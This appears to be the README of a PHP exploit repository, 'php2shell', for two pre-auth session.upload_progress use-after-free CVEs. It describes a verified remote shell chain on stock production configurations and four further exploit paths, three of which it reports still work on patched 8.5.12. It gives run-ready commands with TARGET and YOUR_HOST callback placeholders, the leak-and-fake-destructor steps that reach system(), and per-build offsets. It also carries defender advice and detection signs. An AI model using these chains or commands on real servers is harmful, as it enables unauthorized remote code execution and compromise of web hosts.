Two pre-auth session.upload_progress bugs in PHP core. This repository has the
mechanics, a working remote chain on stock php.ini-production, four more
exploit paths, and the post-patch evidence.
中文 · Download: php2shell v2.1
MITRE:
PUBLISHED(2026-10-21) · NVD: not yet ingested · php.net: advisory published.
Contents: Verdict · Defenders · The two CVEs · Exploit paths · CVE flow · After the patch · Tests · Quick start · Status · Limits · Files
| Question | Answer |
|---|---|
| Can it give a shell? | ✅ yes — remote on unpatched 8.4.x mod_php; the production-ini chain is verified on php:8.4.26-apache |
| Is it pre-auth? | ✅ yes — the rfc1867 callback runs before application code |
| Is it universal? | ❌ no — mod_php prefork only, build-specific offsets, bookworm/8.4.20/8.5.11 not calibrated |
| Does the patch close it? | ✅ the two CVEs, yes; three application-level paths still work on 8.5.12 |
| Action | Why |
|---|---|
| Patch to 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35 | closes both CVEs (see analysis/11) |
Cannot patch: memory_limit=-1 |
the only config mitigation against 109618 |
Cannot patch: session.upload_progress.enabled=Off + restart workers |
breaks the session producer for 109619 |
8.5 only: fatal_error_backtraces=0 + restart workers |
removes the producer used by the confirmed RCE case |
Drop multipart/form-data at the proxy if the app has no uploads |
removes the trigger surface |
pm.max_requests = 1 / short worker lifetime |
shortens the window where stale state survives |
Do not cap memory with RLIMIT_AS / RLIMIT_DATA |
mmap failures push the process into the same OOM/bailout path |
| Watch (request side) | zend_mm_heap corrupted, worker SIGABRT/SIGSEGV, multipart POSTs with huge filenames or thousands of parts, Set-Cookie: PHPSESSID= far longer than 32 bytes, Allowed memory size in pre-RINIT logs |
| Watch (host side) | www-data spawning sh / bash / whoami / uname, parent apache2, httpd or php-fpm |
| FPM is not "safe by default" | the mod_php chain does not transfer; the advisory's FPM paths need an application-level trigger |
Note: patching closes the two CVEs; the var_destroy UAF, the handler mismatch
and session injection still work on 8.5.12.
| CVE | Title | Class |
|---|---|---|
| CVE-2026-109618 | RCE via OOM corruption | CWE-416 |
| CVE-2026-109619 | RCE via stale global state | CWE-416 |
Fixed in 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12. Root cause and official analysis:
analysis/13 (Chinese),
analysis/11.
| # | Path | Target | Status |
|---|---|---|---|
| 1 | Production-ini chain (pure_off.py) |
stock php.ini-production, unpatched 8.4.x mod_php prefork |
✅ 5/5 single worker · 3/3 with 8 workers · OOB verified (analysis/18) |
| 2 | 8M chain (remote_cve.py) |
display_errors=On, memory_limit=8M, single worker |
✅ 5/5 on 8.4.26 trixie, 8.4.26 bookworm, 8.4.25 (analysis/15) |
| 3 | var_destroy UAF |
unserialize() sink + __destruct class; local |
✅ 10/10, also on 8.5.12 |
| 4 | Handler mismatch | two serializer handlers + gadget class | ✅ verified on 8.5.12 |
| 5 | Session injection | application include / LFI |
✅ verified on 8.5.12 |
chunked multipart ──► post_max_size bypass
A1 OOM in END-cleanup php_url_encode ──► dangling PS(id), send_cookie=1
B1 forged zend_string (len 0xC8000) ──► 800 KB Set-Cookie read
├─ 2 MB-aligned chunk buckets ──► chunk base
└─ zval_ptr_dtor ×1095 ──► libphp base
A2 cheap OOM ──► dangling PS(http_session_vars)
B2 fake zend_reference ──► fake zend_array, pDestructor = zif_system
python3 exploit/php2shell.py auto -u http://TARGET/ \
--oob http://YOUR_HOST:9100/x --probes 30rotate worker ──► Set-Cookie leak (chunk base) ──► Set-Cookie leak (libphp base)
└─ upload_progress fake reference + fake HashTable ──► pDestructor = zif_system
python3 exploit/cve/remote_cve.py -u http://TARGET/index.php \
--libphp /path/libphp.so --cmd 'id>/tmp/p1'python3 exploit/auto_exp.py --php /path/to/php --cmd 'id > /tmp/proof' --proof /tmp/proofpython3 exploit/remote/handler_mismatch.py --seed http://TARGET/app/index.php \
--fire http://TARGET/api/index.php --cmd 'id > /tmp/proof'filename / progress value ──► session file keeps it raw ──► application include() ──► RCE
multipart POST ──► php_hash_environment() ← before RINIT
├─ serialize encode ──► OOM ──► BG(serialize) orphaned
└─ unserialize decode ──► OOM ──► BG(unserialize) orphaned
▼
worker survives? ── yes ──► next request reuses the freed context
no ──► DoS only
| Item | Fixed? | Evidence |
|---|---|---|
| CVE-2026-109618 / 109619 | ✅ | advisory: longjmp removed, state reset, incomplete classes |
| Production-ini chain (CVE class) | ✅ | B1 gets no leak on 8.5.12 |
| rfc1867-phase object injection | ✅ | patch: incomplete_classes_only |
var_destroy UAF → RCE |
❌ still works | 5/5 on 8.5.12 |
Handler mismatch via app session_start() |
❌ still works | uid=33(www-data) on 8.5.12 |
| Session injection (raw filename) | ❌ still works | raw payload stored on 8.5.12 |
| What | Result | Note |
|---|---|---|
| Positives / negatives | 5/5 vs 0/3 | analysis/17 |
| Release package (v2.0) | 7 checks passed | analysis/20 |
| Multi-server matrix | mod_php OK, FPM no | analysis/21 |
| OOB callback | target reached listener | analysis/19 |
# fingerprint, pick a chain, run it (out-of-band proof)
python3 exploit/php2shell.py finger -u http://TARGET/
python3 exploit/php2shell.py auto -u http://TARGET/ \
--oob http://YOUR_HOST:9100/x --probes 30
# or with a proof file on a shared mount
python3 exploit/php2shell.py auto -u http://TARGET/ \
--cmd 'id>/out/p1' --proof /tmp/p1Other subcommands: local (local UAF) and mismatch (handler mismatch).
docker compose -f lab/cve/docker-compose.yml up -d
python3 exploit/php2shell.py auto -u http://127.0.0.1:8088/ \
--cmd 'id>/out/p1' --proof ./lab/cve/out/p1| Claim | Result |
|---|---|
Claimed post_bytes_processed UAF |
❌ not reproduced (Z_TRY_ADDREF) |
Bug S — BG(serialize) orphan |
⚠️ ASAN 3/3 · arm reproduced · no RCE |
Bug U — BG(unserialize) orphan |
⚠️ arm reproduced · kill/system not |
| Production-ini chain (CVE class) | ✅ 5/5 single · 3/3 with 8 workers · OOB |
| 8M chain (CVE class) | ✅ 5/5 on three builds |
| var_destroy UAF → RCE | ✅ 10/10, self-locating |
| Handler mismatch / session injection | ✅ both reproduced |
| Demo binary offsets | ✅ match 8.5.4-0ubuntu1.3 (delta 0xbe3f0) |
- bookworm: the production chain fails at B1 (the A1/B1 shaping differs);
- 8.4.20 / 8.5.11: unpatched, but A1 reaches the OOM and B1 never leaks — recalibration needs gdb-level instrumentation;
- FPM: the startup OOM kills the child, so the cross-request primitive has no consumer; an FPM path needs an application-level producer;
- middleboxes: WAF, proxy body limits and timeouts were not tested;
- offsets: per build (
--zif-off/--dtor-off/--s-off,--autocovers the verified ones).
| Path | What |
|---|---|
exploit/php2shell.py |
unified CLI: fingerprint, auto chain, local, mismatch |
exploit/cve/pure_off.py |
production-ini chain (display_errors=Off, 128M) |
exploit/cve/remote_cve.py |
8M chain: rotation + leaks + fake pDestructor |
exploit/auto_exp.py |
one-command local UAF driver |
exploit/var_destroy_uaf_rce.php |
UAF payload |
exploit/remote/handler_mismatch.py |
two-request handler-mismatch client |
analysis/01-07 |
lifetime · ablation · versions · bundle · reachability · BG path · poisoning |
analysis/08-12 |
orphans · var_destroy · mismatch · patch · public comparison |
analysis/13 |
root cause and CVE analysis (Chinese) |
analysis/14-21 |
display-off · cross-build · pure chain · verification · production chain · OOB · package tests · server matrix |
evidence/ |
ASAN traces · OOM logs · offsets · runs |
lab/ |
build scripts · triggers · matrix |
PROVENANCE.md |
artifact URLs · dates · hashes |
The vulnerabilities and several techniques come from public work; our code is
an independent implementation. Full list with links:
CREDITS.md. Key names: 9bie (production-ini chain technique),
ikow (MIT, var_destroy analysis), dinosn (UAF research), junaire
(handler-mismatch client), Calif.io (original unserialize research), the PHP
advisory reporters and remediation developers.
Research and educational use only. Do not use against systems you do not own or have written permission to test. No responsibility or liability for misuse or damage. See DISCLAIMER.md.
Local builds (8.3.36, 8.4.20/25/26, 8.5.4/11/12), local Apache / php-fpm / Docker labs, and the Ubuntu package named above. Commands run as the PHP process user.